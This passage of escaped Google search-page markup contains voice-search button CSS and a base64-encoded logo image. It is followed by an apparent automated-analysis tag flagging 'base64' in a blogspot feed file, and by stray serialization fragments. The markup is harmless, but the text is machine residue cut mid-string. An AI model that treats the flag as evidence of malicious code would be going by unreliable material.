0s}\x3c/style\x3e\x3cstyle\x3e.google-logo{background:url(data:image/png;base64,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\x3d) no-repeat center;background-size:94px 32px;height:32px;width:94px;top:8px;opacity:0;float:right;left:255px;pointer-events:none;position:relative;transition:opacity .5s ease-in,left .5s ease-in}\x3c/style\x3e\x3cbutton class\x3d\x22close-button\x22 id\x3d\x22spchx\x22 aria-label\x3d\x22close\x22\x3e\x26times;\x3c/button\x3e\x3cdiv class\x3d\x22spchc\x22 id\x3d\x22spchc\x22\x3e\x3cdiv class\x3d\x22inner-container\x22\x3e\x3cdiv class\x3d\x22button-container\x22\x3e\x3cstyle\x3e.LgbsSe{background-color:#fff;border:1px solid #f8f9fa;border-radius:100%;bottom:0;box-shadow:0 2px 5px rgba(0,0,0,.1);cursor:pointer;display:inline-block;opacity:0;pointer-events:none;position:absolute;right:0;transition:background-color 0.218s,border 0.218s,box-shadow 0.218s;transition-delay:0;position:absolute;opacity:0;left:0;top:0}.s2fp .LgbsSe{opacity:1;pointer-events:auto;transform:scale(1);}.s2ra .LgbsSe{background-color:#ea4335;border:0;box-shadow:none}.r8s4j{background-color:#dadce0;border-radius:100%;display:inline-block;opacity:1;pointer-events:none;position:absolute;transform:scale(.01);transition:opacity 0.218s;height:301px;left:-69px;top:-69px;width:301px;}.button-container{pointer-events:none;position:relative;transition:transform 0.218s,opacity 0.218s ease-in;transform:scale(.1);height:165px;width:165px;right:-70px;top:-70px;float:right;}.s2fp .button-container{transform:scale(1)}.s2ra .LgbsSe:active{background-color:#c5221f}.LgbsSe:active{background-color:#f8f9fa}\x3c/style\x3e\x3cspan class\x3d\x22r8s4j\x22 id\x3d\x22spchl\x22\x3e\x3c/span\x3e\x3cspan class\x3d\x22LgbsSe\x22 id\x3d\x22spchb\x22\x3e\x3cdiv class\x3d\x22microphone\x22\x3e\x3cstyle\x3e.microphone{height:87px;pointer-events:none;position:absolute;width:42px;top:47px;transform:scale(1);left:43px;}.receiver{background-color:#999;border-radius:30px;height:46px;left:25px;pointer-events:none;position:absolute;width:24px}.wrapper{bottom:0;height:53px;left:11px;overflow:hidden;pointer-events:none;position:absolute;width:52px}.stem{background-color:#999;bottom:14px;height:14px;left:22px;pointer-events:none;position:absolute;width:9px;z-index:1}.shell{border:7px solid #999;border-radius:28px;bottom:27px;height:57px;pointer-events:none;position:absolute;width:38px;z-index:0;left:0px}.s2ml .receiver,.s2ml .stem{background-color:#f44}.s2ml .shell{border-color:#f44}.s2ra .receiver,.s2ra .stem{background-color:#fff}.s2ra .shell{border-color:#fff}\x3c/style\x3e\x3cspan class\x3d\x22receiver\x22\x3e\x3c/span\x3e\x3cdiv class\x3d\x22wrapper\x22\x3e\x3cspan class\x3d\x22stem\x22\x3e\x3c/span\x3e\x3cspan class\x3d\x22shell\x22\x3e\x3c/span\x3e\x3c/div\x3e\x3c/div\x3e\x3c/span\x3e\x3c/div\x3e\x3cdiv class\x3d\x22text-container\x22\x3e\x3cstyle\x3e.text-container{pointer-events:none;position:absolute;}.spcht{font-weight:normal;line-height:1.2;opacity:0;pointer-events:none;position:absolute;text-align:left;-webkit-font-smoothing:antialiased;transition:opacity .1s ease-in,margin-left .5s ease-in,top 0s linear 0.218s;left:-44px;top:-.2em;margin-left:44px;font-size:32px;width:460px;}.s2fp .spcht{margin-left:0;opacity:1;transition:opacity .5s ease-out,margin-left .5s ease-out}.spchta{color:#1a0dab;cursor:pointer;font-size:18px;font-weight:500;pointer-events:auto;text-decoration:underline}.spch-2l.spcht,.spch-3l.spcht,.spch-4l.spcht{transition:top 0.218s ease-out}.spch-2l.spcht{top:-.6em}.spch-3l.spcht{top:-1.3em}.spch-4l.spcht{top:-1.7em}.s2fp .spch-5l.spcht{top:-2.5em;}\x3c/style\x3e\x3cspan class\x3d\x22spcht\x22 style\x3d\x22color:#70757a\x22 id\x3d\x22spchi\x22\x3e\x3c/span\x3e\x3cspan class\x3d\x22spcht\x22 style\x3d\x22color:#000\x22 id\x3d\x22spchf\x22\x3e\x3c/span\x3e\x3c/div\x3e\x3cdiv class\x3d\x22google-logo\x22\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv class\x3d\x22permission-bar\x22\x3e\x3cstyle\x3e.permission-bar{margin-top:-100px;opacity:0;pointer-events:none;position:absolute;width:500px;transition:opacity 0.218s ease-in,margin-top .4s ease-in}.s2wfp .permission-bar{margin-top:-300px;opacity:1;transition:opacity .5s ease-out 0.218s,margin-top 0.218s ease-out 0.218s}.permission-bar-gradient{box-shadow:0 1px 0px #4285f4;height:80px;left:0;margin:0;opacity:0;pointer-events:none;position:fixed;right:0;top:-80px;transition:opacity 0.218s,box-shadow 0.218s}.s2wfp .permission-bar-gradient{box-shadow:0 1px 80px #4285f4;opacity:1;pointer-events:none;animation:allow-alert .75s 0 infinite;animation-direction:alternate;animation-timing-function:ease-out;transition:opacity 0.218s,box-shadow 0.218s}@-webkit-keyframes allow-alert {from{opacity:1}to{opacity:.35}}\x3c/style\x3e\x3cdiv class\x3d\x22permission-bar-gradient\x22\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e');})();(function(){google.drty&&google.drty(undefined,true);})();});google.drty&&google.drty(undefined,true);" (Indicator: "base64"; in File: "urlref_httpsbackuphotelall.blogspot.comatom.xml")49:T69ac,"

Google apps

"4a:T154a,"

Google apps